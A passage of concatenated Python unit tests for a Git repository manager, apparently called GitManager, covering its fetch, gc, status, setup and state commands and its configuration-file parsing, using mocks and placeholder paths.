'/path/to/clone/4'), description.RepositoryDescription( '/path/to/source', '/path/to/clone/5'), description.RepositoryDescription( '/path/to/source', '/path/to/clone/6'), description.RepositoryDescription( '/path/to/source', '/path/to/clone/7'), description.RepositoryDescription( '/path/to/source', '/path/to/clone/8'), description.RepositoryDescription( '/path/to/source', '/path/to/clone/9') ] expected = list(map(lambda d: d.local.path, repos)) # create a command object cmd = commands.Command(line, repos) # a non-plain command with unittest.mock.patch('GitManager.commands.Command.PLAIN', False): # run the command self.assertEqual(cmd(), len(expected)) # each of the commands should have been called for (e, r) in zip(expected, repos): command_write_path_with_counter.assert_any_call(e) command_run.assert_any_call(r) # it should have been cleaned afterwards format_TerminalLine.return_value.clean.assert_called_with() # reset all the mocks command_run.reset_mock() command_write_path_with_counter.reset_mock() format_TerminalLine.reset_mock() # a plain command with unittest.mock.patch('GitManager.commands.Command.PLAIN', True): # run the command self.assertEqual(cmd(), len(expected)) # assert that no path has been printed command_write_path_with_counter.assert_not_called() # each of the commands should have been called for r in repos: command_run.assert_any_call(r) # it should have been cleaned afterwards format_TerminalLine.return_value.clean.assert_called_with() --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.commands import fetch from GitManager.repo import description from GitManager.utils import format class TestFetch(unittest.TestCase): """ Tests that the fetch command works properly """ @unittest.mock.patch( 'GitManager.repo.implementation.LocalRepository') def test_run(self, implementation_LocalRepository: unittest.mock.Mock): # create a repository repo = description.RepositoryDescription('/path/to/source', '/path/to/clone') # create a command instance line = format.TerminalLine() cmd = fetch.Fetch(line, [repo]) # if the local repository does not exist, we implementation_LocalRepository.return_value.exists.return_value = False self.assertFalse(cmd.run(repo)) implementation_LocalRepository.return_value.fetch.assert_not_called() # reset the mock implementation_LocalRepository.reset_mock() # if the local repository does exist, it should have been fetched implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.fetch.return_value = True self.assertTrue(cmd.run(repo)) implementation_LocalRepository.return_value.fetch.assert_called_with() --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.commands import gc from GitManager.repo import description from GitManager.utils import format class TestGC(unittest.TestCase): """ Tests that the fetch command works properly """ @unittest.mock.patch( 'GitManager.repo.implementation.LocalRepository') def test_run(self, implementation_LocalRepository: unittest.mock.Mock): # create a repository repo = description.RepositoryDescription('/path/to/source', '/path/to/clone') # create a command instance line = format.TerminalLine() cmd = gc.GC(line, [repo]) # if the local repository does not exist, we do nothing implementation_LocalRepository.return_value.exists.return_value = False self.assertFalse(cmd.run(repo)) implementation_LocalRepository.return_value.gc.assert_not_called() # reset the mock implementation_LocalRepository.reset_mock() # if the local repository does exist, it should have been gced implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.gc.return_value = True self.assertTrue(cmd.run(repo)) implementation_LocalRepository.return_value.gc.assert_called_with() # reset the mock and create a new mock implementation_LocalRepository.reset_mock() cmd = gc.GC(line, [repo], '--aggressive') implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.gc.return_value = True self.assertTrue(cmd.run(repo)) implementation_LocalRepository.return_value.gc.assert_called_with( '--aggressive') --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.commands import lister from GitManager.repo import description from GitManager.utils import format class TestFetch(unittest.TestCase): """ Tests that the lister command works properly """ @unittest.mock.patch( 'GitManager.repo.implementation.LocalRepository') @unittest.mock.patch('builtins.print') def test_run(self, builtins_print: unittest.mock.Mock, implementation_LocalRepository: unittest.mock.Mock): # create a repository repo = description.RepositoryDescription('/path/to/source', '/path/to/clone') # create a command instance line = format.TerminalLine() cmd = lister.LsLocal(line, [repo]) # if the local repository does not exist, we just return false implementation_LocalRepository.return_value.exists.return_value = False self.assertTrue(cmd.run(repo)) builtins_print.assert_not_called() # reset the mock builtins_print.reset_mock() implementation_LocalRepository.reset_mock() # if the local repository does exist, it should have been fetched implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.path = "/path/to/clone" self.assertTrue(cmd.run(repo)) builtins_print.assert_called_with('/path/to/clone') --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.commands import state from GitManager.repo import description from GitManager.utils import format from GitManager.repo import implementation class TestReconfigure(unittest.TestCase): """ Tests that the reconfigure command works properly """ pass --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.commands import setup as s from GitManager.repo import description from GitManager.utils import format class TestFetch(unittest.TestCase): """ Tests that the fetch command works properly """ @unittest.mock.patch( 'GitManager.repo.implementation.LocalRepository') @unittest.mock.patch( 'GitManager.repo.implementation.RemoteRepository') @unittest.mock.patch('GitManager.utils.format.TerminalLine') def test_run(self, format_TerminalLine: unittest.mock.Mock, implementation_RemoteRepository: unittest.mock.Mock, implementation_LocalRepository: unittest.mock.Mock): # create a repository repo = description.RepositoryDescription('/path/to/source', '/path/to/clone') # create a command instance line = format.TerminalLine() cmd = s.Setup(line, [repo]) # if we already exist, nothing should happen implementation_LocalRepository.return_value.exists.return_value = True self.assertTrue(cmd.run(repo)) implementation_RemoteRepository.return_value.clone.assert_not_called() # reset the mock format_TerminalLine.reset_mock() implementation_LocalRepository.reset_mock() implementation_RemoteRepository.reset_mock() # if the local repository does not exist, it should be cloned implementation_LocalRepository.return_value.exists.return_value = False implementation_RemoteRepository.return_value.clone.return_value = True self.assertTrue(cmd.run(repo)) format_TerminalLine.return_value.linebreak.assert_called_with() implementation_RemoteRepository.return_value.clone \ .assert_called_with(repo.local) --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.commands import state from GitManager.repo import description from GitManager.utils import format from GitManager.repo import implementation class TestState(unittest.TestCase): """ Tests that the state command works properly """ @unittest.mock.patch( 'GitManager.repo.implementation.LocalRepository') @unittest.mock.patch( 'builtins.print') def test_run(self, builtins_print: unittest.mock.Mock, implementation_LocalRepository: unittest.mock.Mock): # create a repository repo = description.RepositoryDescription('/path/to/source', '/path/to/clone') # create a line line = format.TerminalLine() # and a command instance cmd = state.State(line, [repo], "--no-update") # if we are up-to-date, nothing should have been printed implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.remote_status \ .return_value = implementation.RemoteStatus.UP_TO_DATE self.assertTrue(cmd.run(repo)) implementation_LocalRepository.return_value.remote_status \ .assert_called_with(False) builtins_print.assert_not_called() # reset the mock implementation_LocalRepository.reset_mock() builtins_print.reset_mock() # create another command instance cmd = state.State(line, [repo], "--update") # if the local repository does not exist, we implementation_LocalRepository.return_value.exists.return_value = False self.assertFalse(cmd.run(repo)) # reset the mock implementation_LocalRepository.reset_mock() builtins_print.reset_mock() # if we are up-to-date, nothing should have been printed implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.remote_status \ .return_value = implementation.RemoteStatus.UP_TO_DATE self.assertTrue(cmd.run(repo)) implementation_LocalRepository.return_value.remote_status\ .assert_called_with(True) builtins_print.assert_not_called() # reset the mock implementation_LocalRepository.reset_mock() builtins_print.reset_mock() # we need to pull implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.remote_status \ .return_value = implementation.RemoteStatus.REMOTE_NEWER self.assertFalse(cmd.run(repo)) implementation_LocalRepository.return_value.remote_status \ .assert_called_with(True) builtins_print.assert_called_with( format.Format.yellow('Upstream is ahead of your branch, ' 'pull required. ')) # reset the mock implementation_LocalRepository.reset_mock() builtins_print.reset_mock() # we need to push implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.remote_status \ .return_value = implementation.RemoteStatus.LOCAL_NEWER self.assertFalse(cmd.run(repo)) implementation_LocalRepository.return_value.remote_status \ .assert_called_with(True) builtins_print.assert_called_with( format.Format.green('Your branch is ahead of upstream, ' 'push required.')) # reset the mock implementation_LocalRepository.reset_mock() builtins_print.reset_mock() # divergence implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.remote_status \ .return_value = implementation.RemoteStatus.DIVERGENCE self.assertFalse(cmd.run(repo)) implementation_LocalRepository.return_value.remote_status \ .assert_called_with(True) builtins_print.assert_called_with( format.Format.red('Your branch and upstream have diverged, ' 'merge or rebase required. ')) --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.commands import status from GitManager.repo import description from GitManager.utils import format class TestStatus(unittest.TestCase): """ Tests that the status command works properly """ @unittest.mock.patch( 'GitManager.repo.implementation.LocalRepository') @unittest.mock.patch('GitManager.utils.format.TerminalLine') @unittest.mock.patch('GitManager.utils.run.GitRun') def test_run(self, run_gitrun: unittest.mock.Mock, format_TerminalLine: unittest.mock.Mock, implementation_LocalRepository: unittest.mock.Mock): # create a repository repo = description.RepositoryDescription('/path/to/source', '/path/to/clone') # create a command instance line = format.TerminalLine() cmd = status.Status(line, [repo]) # if the local repository does not exist, do nothing implementation_LocalRepository.return_value.exists.return_value = False implementation_LocalRepository.return_value.path.return_value = \ '/path/to/clone' self.assertFalse(cmd.run(repo)) implementation_LocalRepository.exists.assert_not_called() # reset the mock format_TerminalLine.reset_mock() implementation_LocalRepository.reset_mock() run_gitrun.reset_mock() # local repository exists, but is clean implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.path.return_value = \ '/path/to/clone' implementation_LocalRepository.return_value.local_status.return_value \ = '' self.assertTrue(cmd.run(repo)) run_gitrun.assert_not_called() # reset the mock format_TerminalLine.reset_mock() implementation_LocalRepository.reset_mock() run_gitrun.reset_mock() # local repository exists, but is not clean implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.path = \ '/path/to/clone' implementation_LocalRepository.return_value.local_status.return_value \ = 'M some/file' self.assertFalse(cmd.run(repo)) format_TerminalLine.return_value.linebreak.assert_called_with() run_gitrun.assert_called_with('status', cwd='/path/to/clone', pipe_stdout=True) run_gitrun.return_value.wait.assert_called_with() --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.config import file, line class TestFile(unittest.TestCase): """ Tests that File() can be correctly read and parsed """ def test_read(self): """ Tests that the locals are yielded properly """ # read the lines from the configuration file fn = file.File("/path/to/config") fake_lines = "\n".join([ "# Top level line with a comment", " hello world ", "> something ", " hello world ", ">> sub ", " hello world ", "> else ", " hello world" ]).encode("utf-8") with unittest.mock.patch('builtins.open', new_callable=unittest.mock.mock_open( read_data=fake_lines)) \ as _: # read all the lines fn.read() expected = [ line.NOPLine("# Top level line with a comment"), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'something', ' '), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 2, ' ', 'sub', ' '), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'else', ' '), line.RepoLine(' ', 'hello', ' ', 'world', ' ') ] for (actual, intended) in zip(fn.lines, expected): self.assertEqual(actual, intended, "line parsed properly") @unittest.mock.patch('builtins.open') def test_write(self, builtins_open: unittest.mock.Mock): """ Tests that writing lines works properly """ # create a config file instance fn = file.File("/path/to/config") # setup the lines properly fn.lines = [ line.NOPLine("# Top level line with a comment"), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'something', ' '), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 2, ' ', 'sub', ' '), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'else', ' '), line.RepoLine(' ', 'hello', ' ', 'world', ' ') ] fake_lines = [ "# Top level line with a comment", " hello world ", "> something ", " hello world ", ">> sub ", " hello world ", "> else ", " hello world " ] # do the writing fn.write() # check that each of the lines has been written for l in fake_lines: builtins_open.return_value.__enter__.return_value.write. \ assert_any_call("{}\n".format(l)) @unittest.mock.patch('os.path.isfile', return_value=False) @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_find(self, os_path_expanduser: unittest.mock.Mock, os_path_isfile: unittest.mock.Mock): """ Tests that the find() method works properly """ # no environment variables with unittest.mock.patch.dict('os.environ', {}) as _: # take no values self.assertEqual(file.File.find(), None, "No file is found if none exists. ") os_path_isfile.assert_any_call( '/path/to/home/.config/.gitmanager/config') os_path_isfile.assert_any_call('/path/to/home/.gitmanager') # take the first alternative os_path_isfile.reset_mock() os_path_isfile.side_effect = [True, False] self.assertEqual(file.File.find(), '/path/to/home/.config/.gitmanager/config', "Finding the first file if it exists") # take the second alternative os_path_isfile.reset_mock() os_path_isfile.side_effect = [False, True] self.assertEqual(file.File.find(), '/path/to/home/.gitmanager', "Finding the second file if it exists") # reset the mock completly os_path_isfile.reset_mock() os_path_isfile.side_effect = None os_path_isfile.return_value = False # only $GIT_MANAGER_CONFIG with unittest.mock.patch.dict('os.environ', { "GIT_MANAGER_CONFIG": "/path/to/config.file" }) as _: # take no values self.assertEqual(file.File.find(), None, "No file is found if none exists. ") os_path_isfile.assert_any_call('/path/to/config.file') os_path_isfile.assert_any_call( '/path/to/home/.config/.gitmanager/config') os_path_isfile.assert_any_call('/path/to/home/.gitmanager') # take the first alternative os_path_isfile.reset_mock() os_path_isfile.side_effect = [True, False, False] self.assertEqual(file.File.find(), '/path/to/config.file', "Finding the first file if it exists") # take the second alternative os_path_isfile.reset_mock() os_path_isfile.side_effect = [False, True, False] self.assertEqual(file.File.find(), '/path/to/home/.config/.gitmanager/config', "Finding the second file if it exists") # take the third alternative os_path_isfile.reset_mock() os_path_isfile.side_effect = [False, False, True] self.assertEqual(file.File.find(), '/path/to/home/.gitmanager', "Finding the third file if it exists") os_path_isfile.reset_mock() os_path_isfile.side_effect = None os_path_isfile.return_value = False # only XDG_CONFIG_HOME with unittest.mock.patch.dict('os.environ', { "XDG_CONFIG_HOME": "/path/to/xdg" }) as _: # take no values self.assertEqual(file.File.find(), None, "No file is found if none exists. ") os_path_isfile.assert_any_call( '/path/to/xdg/.gitmanager/config') os_path_isfile.assert_any_call('/path/to/home/.gitmanager') # take the first alternative os_path_isfile.reset_mock() os_path_isfile.side_effect = [True, False] self.assertEqual(file.File.find(), '/path/to/xdg/.gitmanager/config', "Finding the first file if it exists") # take the second alternative os_path_isfile.reset_mock() os_path_isfile.side_effect = [False, True] self.assertEqual(file.File.find(), '/path/to/home/.gitmanager', "Finding the second file if it exists") # reset the mock completely os_path_isfile.reset_mock() os_path_isfile.side_effect = None os_path_isfile.return_value = False # both with unittest.mock.patch.dict('os.environ', { "GIT_MANAGER_CONFIG": "/path/to/config.file", "XDG_CONFIG_HOME": "/path/to/xdg" }) as _: # take no values self.assertEqual(file.File.find(), None, "No file is found if none exists. ") os_path_isfile.assert_any_call('/path/to/config.file') os_path_isfile.assert_any_call( '/path/to/xdg/.gitmanager/config') os_path_isfile.assert_any_call('/path/to/home/.gitmanager') # take the first alternative os_path_isfile.reset_mock() os_path_isfile.side_effect = [True, False, False] self.assertEqual(file.File.find(), '/path/to/config.file', "Finding the first file if it exists") # take the second alternative os_path_isfile.reset_mock() os_path_isfile.side_effect = [False, True, False] self.assertEqual(file.File.find(), '/path/to/xdg/.gitmanager/config', "Finding the second file if it exists") # take the third alternative os_path_isfile.reset_mock() os_path_isfile.side_effect = [False, False, True] self.assertEqual(file.File.find(), '/path/to/home/.gitmanager', "Finding the third file if it exists") --- FILE SEPARATOR --- import unittest from GitManager.config import line class TestConfigLine(unittest.TestCase): """ Tests that ConfigLines can be correctly parsed""" def test_abstract(self): """ Tests that the write() method is abstract """ # because it is abstract, we can not raise it with self.assertRaises(NotImplementedError): line.ConfigLine.write(None) def test_parse_RootLine(self): """ Tests that RootLines can be properly parsed """ self.assertEqual(line.ConfigLine.parse('##root'), line.RootLine('', '', 'root', ''), 'parsing root directive') self.assertEqual(line.ConfigLine.parse('\t ## /folder '), line.RootLine('\t ', ' ', '/folder', ' '), 'parsing comments with tabs') def test_parse_NOPLine(self): """ Tests that NOPLines can be correctly parsed """ self.assertEqual(line.ConfigLine.parse('# hello world'), line.NOPLine('# hello world'), 'parsing comments') self.assertEqual(line.ConfigLine.parse('# >>> a b'), line.NOPLine('# >>> a b'), 'parsing commented out RepoLine') self.assertEqual(line.ConfigLine.parse('\t # hello world'), line.NOPLine('\t # hello world'), 'parsing comments with spaces') self.assertEqual(line.ConfigLine.parse(''), line.NOPLine(''), 'parsing empty line') self.assertEqual(line.ConfigLine.parse('\t\n '), line.NOPLine('\t\n '), 'parsing line with only spaces') def test_parse_BaseLine(self): """ Tests that BaseLines can be correctly parsed """ self.assertEqual(line.ConfigLine.parse('> hello'), line.BaseLine('', 1, ' ', 'hello', ''), 'parsing minimal BaseLine') self.assertEqual(line.ConfigLine.parse('>>>> hello'), line.BaseLine('', 4, ' ', 'hello', ''), 'parsing minimal BaseLine with more indent') self.assertEqual(line.ConfigLine.parse('> hello '), line.BaseLine('', 1, ' ', 'hello', ' '), 'parsing complete BaseLine with minimal spacing') self.assertEqual(line.ConfigLine.parse('>>>> hello '), line.BaseLine('', 4, ' ', 'hello', ' '), 'parsing complete BaseLine with minimal spacing ' 'and more indent') self.assertEqual(line.ConfigLine.parse('\t>>>>\t\thello\t '), line.BaseLine('\t', 4, '\t\t', 'hello', '\t '), 'parsing complete BaseLine with spacing ' 'and more indent') def test_parse_RepoLine(self): """ Tests that RepoLines can be correctly parsed """ self.assertEqual(line.ConfigLine.parse('a'), line.RepoLine('', 'a', '', '', ''), 'parsing minimal RepoLine') self.assertEqual(line.ConfigLine.parse('a b'), line.RepoLine('', 'a', ' ', 'b', ''), 'parsing minimal but complete RepoLine') self.assertEqual(line.ConfigLine.parse('\ta\t\tb\t\t\t'), line.RepoLine('\t', 'a', '\t\t', 'b', '\t\t\t'), 'parsing RepoLine with spacing') def test_parse_fail(self): """ Tests that invalid lines can not be parsed """ # three items can not be parsed with self.assertRaises(ValueError): line.ConfigLine.parse("a b c") # Comments at the end of the line are not allowed with self.assertRaises(ValueError): line.ConfigLine.parse("hello world #things") with self.assertRaises(ValueError): line.ConfigLine.parse(">> hello world #things") class TestRootLine(unittest.TestCase): """ Tests that RootLine class works properly """ def test_eq(self): """ Checks that equality between RootLines works properly """ self.assertEqual(line.RootLine('', '', '/root', ''), line.RootLine('', '', '/root', ''), 'equality of root lines') self.assertEqual(line.RootLine('\t ', '', 'folder', ''), line.RootLine('\t ', '', 'folder', ''), 'equality of root lines') def test_indent(self): """ Tests that the indent function works properly """ self.assertEqual(line.RootLine('\t ', '', 'folder', '').indent, '\t ', 'indent of root line') self.assertEqual(line.RootLine('', '', '/root', '').indent, '', 'indent of root line') def test_write(self): """ Tests that writing NOPLines works properly """ self.assertEqual(line.RootLine('', '', '/root', '').write(), '##/root', 'writing root line') self.assertEqual(line.RootLine('\t ', '', 'folder', '').write(), '\t ##folder', 'writing root line') def test_root(self): """ Tests that the root attribute is read correctly """ self.assertEqual(line.RootLine('', '', '/root', '').root, '/root', 'root of root line') self.assertEqual(line.RootLine('\t ', '', 'folder', '').root, 'folder', 'root of root line') class TestNOPLine(unittest.TestCase): """ Tests that NOPLine class works properly """ def test_eq(self): """ Checks that equality between NOPLines works properly """ self.assertEqual(line.NOPLine('# hello world'), line.NOPLine('# hello world'), 'equality of comments') self.assertEqual(line.NOPLine('# >>> a b'), line.NOPLine('# >>> a b'), 'equality of commented out RepoLines') self.assertEqual(line.NOPLine('\t # hello world'), line.NOPLine('\t # hello world'), 'equality comments with spaces') self.assertEqual(line.NOPLine(''), line.NOPLine(''), 'equality of empty lines') self.assertEqual(line.NOPLine('\t\n '), line.NOPLine('\t\n '), 'equality of lines with only spaces') self.assertNotEqual(line.NOPLine('\t\n '), line.NOPLine('\t\n '), 'inequality of two different NOPLines') self.assertNotEqual(line.NOPLine('\t\n '), line.ConfigLine(''), 'inequality between two different objects') def test_indent(self): """ Tests that the indent function works properly """ self.assertEqual(line.NOPLine('# hello world').indent, '', 'indent of comment line') self.assertEqual(line.NOPLine('# >>> a b').indent, '', 'content of commented out RepoLine') self.assertEqual(line.NOPLine('\t # hello world').indent, '', 'indent of comments with spaces') self.assertEqual(line.NOPLine('').indent, '', 'indent of empty line') self.assertEqual(line.NOPLine('\t\n ').indent, '', 'indent of line with only spaces') def test_write(self): """ Tests that writing NOPLines works properly """ self.assertEqual(line.NOPLine('# hello world').write(), '# hello world', 'writing comment line') self.assertEqual(line.NOPLine('# >>> a b').write(), '# >>> a b', 'writing commented out RepoLine') self.assertEqual(line.NOPLine('\t # hello world').write(), '\t # hello world', 'writing comments with spaces') self.assertEqual(line.NOPLine('').write(), '', 'writing empty line') self.assertEqual(line.NOPLine('\t\n ').write(), '\t\n ', 'writing line with only spaces') def test_content(self): """ Tests that the content attribute is read correctly """ self.assertEqual(line.NOPLine('# hello world').content, '# hello world', 'content of comment line') self.assertEqual(line.NOPLine('# >>> a b').content, '# >>> a b', 'content of commented out RepoLine') self.assertEqual(line.NOPLine('\t # hello world').content, '\t # hello world', 'content of comments with spaces') self.assertEqual(line.NOPLine('').content, '', 'content of empty line') self.assertEqual(line.NOPLine('\t\n ').content, '\t\n ', 'content of line with only spaces') class TestBaseLine(unittest.TestCase): """ Tests that BaseLine class works properly """ def test_eq(self): """ Tests that equality between BaseLines works properly """ self.assertEqual(line.BaseLine('', 1, ' ', 'hello', ''), line.BaseLine('', 1, ' ', 'hello', ''), 'equality between minimal BaseLines') self.assertEqual(line.BaseLine('', 4, ' ', 'hello', ''), line.BaseLine('', 4, ' ', 'hello', ''), 'equality between minimal BaseLines with more indent') self.assertEqual(line.BaseLine('', 1, ' ', 'hello', ' '), line.BaseLine('', 1, ' ', 'hello', ' '), 'equality between complete BaseLines with minimal ' 'spacing') self.assertEqual(line.BaseLine('', 4, ' ', 'hello', ' '), line.BaseLine('', 4, ' ', 'hello', ' '), 'equality between complete BaseLines with minimal ' 'spacing and more indent') self.assertEqual(line.BaseLine('\t', 4, '\t\t', 'hello', '\t '), line.BaseLine('\t', 4, '\t\t', 'hello', '\t '), 'equality between complete BaseLines with spacing ' 'and more indent') self.assertNotEqual(line.BaseLine('', 1, ' ', 'hello', ''), line.BaseLine('', 4, ' ', 'hello', ''), 'inequality between different BaseLines') self.assertNotEqual(line.BaseLine('', 1, ' ', 'hello', ''), line.ConfigLine(''), 'inequality between BaseLine and instance of ' 'other class') def test_indent(self): """ Tests that the indent function works properly """ self.assertEqual(line.BaseLine('', 1, ' ', 'hello', '').indent, '', 'indent of minimal BaseLine') self.assertEqual(line.BaseLine('', 4, ' ', 'hello', '').indent, '', 'indent of minimal BaseLines with more ' 'indent') self.assertEqual(line.BaseLine('', 1, ' ', 'hello', ' ').indent, '', 'indent of complete BaseLine with minimal spacing') self.assertEqual(line.BaseLine('', 4, ' ', 'hello', ' ').indent, '', 'indent of complete BaseLine with minimal ' 'spacing and more indent') self.assertEqual(line.BaseLine('\t', 4, '\t\t', 'hello', '\t ').indent, '\t', 'indent of complete BaseLines with spacing ' 'and more indent') def test_write(self): """ Tests that writing BaseLines works properly """ self.assertEqual(line.BaseLine('', 1, ' ', 'hello', '').write(), '> hello', 'writing minimal BaseLine') self.assertEqual( line.BaseLine('', 4, ' ', 'hello', '').write(), '>>>> hello', 'writing minimal BaseLine with more indent') self.assertEqual(line.BaseLine('', 1, ' ', 'hello', ' ').write(), '> hello ', 'writing complete BaseLine with minimal spacing') self.assertEqual(line.BaseLine('', 4, ' ', 'hello', ' ').write(), '>>>> hello ', 'writing complete BaseLine with minimal spacing ' 'and more indent') self.assertEqual( line.BaseLine('\t', 4, '\t\t', 'hello', '\t ').write(), '\t>>>>\t\thello\t ', 'writing complete BaseLine with spacing ' 'and more indent') def test_depth(self): """ Tests that the depth property is read correctly """ self.assertEqual(line.BaseLine('', 1, ' ', 'hello', '').depth, 1, 'reading depth of minimal BaseLine') self.assertEqual( line.BaseLine('', 4, ' ', 'hello', '').depth, 4, 'reading depth of minimal BaseLine with more indent') self.assertEqual(line.BaseLine('', 1, ' ', 'hello', ' ').depth, 1, 'reading depth of complete BaseLine with minimal ' 'spacing') self.assertEqual(line.BaseLine('', 4, ' ', 'hello', ' ').depth, 4, 'reading depth of complete BaseLine with minimal ' 'spacing and more indent') self.assertEqual(line.BaseLine('\t', 4, '\t\t', 'hello', '\t ').depth, 4, 'reading depth of complete BaseLine with spacing ' 'and more indent') def test_path(self): """ Tests that the path property is read correctly """ self.assertEqual(line.BaseLine('', 1, ' ', 'hello', '').path, 'hello', 'reading path of minimal BaseLine') self.assertEqual( line.BaseLine('', 4, ' ', 'hello', '').path, 'hello', 'reading path of minimal BaseLine with more indent') self.assertEqual(line.BaseLine('', 1, ' ', 'hello', ' ').path, 'hello', 'reading path of complete BaseLine with minimal ' 'spacing') self.assertEqual(line.BaseLine('', 4, ' ', 'hello', ' ').path, 'hello', 'reading path of complete BaseLine with minimal ' 'spacing and more indent') self.assertEqual(line.BaseLine('\t', 4, '\t\t', 'hello', '\t ').path, 'hello', 'reading path of complete BaseLine with spacing ' 'and more indent') class TestRepoLine(unittest.TestCase): """ Tests that RepoLine class works properly """ def test_eq(self): """ Tests that equality between repo lines works properly """ self.assertEqual(line.RepoLine('', 'a', '', '', ''), line.RepoLine('', 'a', '', '', ''), 'equality between minimal RepoLines') self.assertEqual(line.RepoLine('', 'a', ' ', 'b', ''), line.RepoLine('', 'a', ' ', 'b', ''), 'equality between minimal but complete RepoLines') self.assertEqual(line.RepoLine('\t', 'a', '\t\t', 'b', '\t\t\t'), line.RepoLine('\t', 'a', '\t\t', 'b', '\t\t\t'), 'equality RepoLines with spacing') self.assertNotEqual(line.RepoLine('', 'a', '', '', ''), line.RepoLine(' ', 'a', '', '', ''), 'inequality between different RepoLines') self.assertNotEqual(line.RepoLine('', 'a', '', '', ''), line.ConfigLine(' '), 'inequality between RepoLine and instance of a ' 'different class') def test_indent(self): """ Tests that the indent function works properly """ self.assertEqual(line.RepoLine('', 'a', '', '', '').indent, '', 'indent of minimal RepoLine') self.assertEqual(line.RepoLine('', 'a', ' ', 'b', '').indent, '', 'indent of minimal but complete RepoLine') self.assertEqual(line.RepoLine('\t', 'a', '\t\t', 'b', '\t\t\t').indent, '\t', 'indent of RepoLine with spacing') def test_write(self): """ Tests that writing RepoLines works properly """ self.assertEqual(line.RepoLine('', 'a', '', '', '').write(), 'a', 'writing minimal RepoLine') self.assertEqual(line.RepoLine('', 'a', ' ', 'b', '').write(), 'a b', 'writing minimal but complete RepoLine') self.assertEqual( line.RepoLine('\t', 'a', '\t\t', 'b', '\t\t\t').write(), '\ta\t\tb\t\t\t', 'writing RepoLine with spacing') def test_url(self): """ Tests that the url property is read properly """ self.assertEqual(line.RepoLine('', 'a', '', '', '').url, 'a', 'getting url of minimal RepoLine') self.assertEqual(line.RepoLine('', 'a', ' ', 'b', '').url, 'a', 'getting url of minimal but complete RepoLine') self.assertEqual( line.RepoLine('\t', 'a', '\t\t', 'b', '\t\t\t').url, 'a', 'getting url of RepoLine with spacing') def test_path(self): """ Tests that the path property is read properly """ self.assertEqual(line.RepoLine('', 'a', '', '', '').path, '', 'getting path of minimal RepoLine') self.assertEqual(line.RepoLine('', 'a', ' ', 'b', '').path, 'b', 'getting path of minimal but complete RepoLine') self.assertEqual( line.RepoLine('\t', 'a', '\t\t', 'b', '\t\t\t').path, 'b', 'getting path of RepoLine with spacing') --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.config import tree, line from GitManager.repo import description as d from GitManager.repo.implementation import LocalRepository class TestTree(unittest.TestCase): """ Tests that Tree() can be correctly parsed and changed """ def test_lines(self): """ Test that the lines are correctly initialised """ t = tree.Tree() self.assertEqual(t.lines, [], "by default, lines are empty") @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_root(self, os_path_expanduser: unittest.mock.Mock): """ Test that the lines are correctly initialised """ t = tree.Tree() self.assertEqual(t.root, '/path/to/home', "by default root is /home") t = tree.Tree() t.lines = [line.RootLine('', '', 'root', '')] self.assertEqual(t.root, '/path/to/home/root', "setting relative root") t = tree.Tree() t.lines = [line.RootLine('', '', '/opt/root', '')] self.assertEqual(t.root, '/opt/root', "setting absolute root") t = tree.Tree() t.lines = [line.RootLine('', '', '/opt/root', ''), line.RootLine('', '', '/opt/root/second', '')] self.assertEqual(t.root, '/opt/root', "setting root ignores first root") @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_descriptions(self, os_path_expanduser: unittest.mock.Mock): """ Tests that the descriptions are yielded properly """ # create a tree instance t = tree.Tree() # setup the lines properly t.lines = [ line.NOPLine("# Top level line with a comment"), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'something', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 2, ' ', 'sub', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'else', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' '), ] # the intended results results = [ d.RepositoryDescription(source='hello', path='/path/to/home/world'), d.BaseDescription('/path/to/home/something'), d.RepositoryDescription(source='hello', path='/path/to/home/something/world'), d.BaseDescription('/path/to/home/something/sub'), d.RepositoryDescription(source='hello', path='/path/to/home/something/sub/world'), d.BaseDescription('/path/to/home/else'), d.RepositoryDescription(source='hello', path='/path/to/home/else/world') ] # check that the yielding works properly for (i, (actual, intended)) in enumerate(zip(t.descriptions, results)): self.assertEqual(actual, (i + 1, intended), "Lines parsed properly") # reset the lines to something that should thrown an error t.lines = [ line.BaseLine('', 2, ' ', 'something', '') ] # we are skipping a base level -- this should thrown an error with self.assertRaises(Exception): list(t.repositories) @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_repositories(self, os_path_expanduser: unittest.mock.Mock): """ Tests that the repositories are yielded properly """ # create a tree instance t = tree.Tree() # setup the lines properly t.lines = [ line.NOPLine("# Top level line with 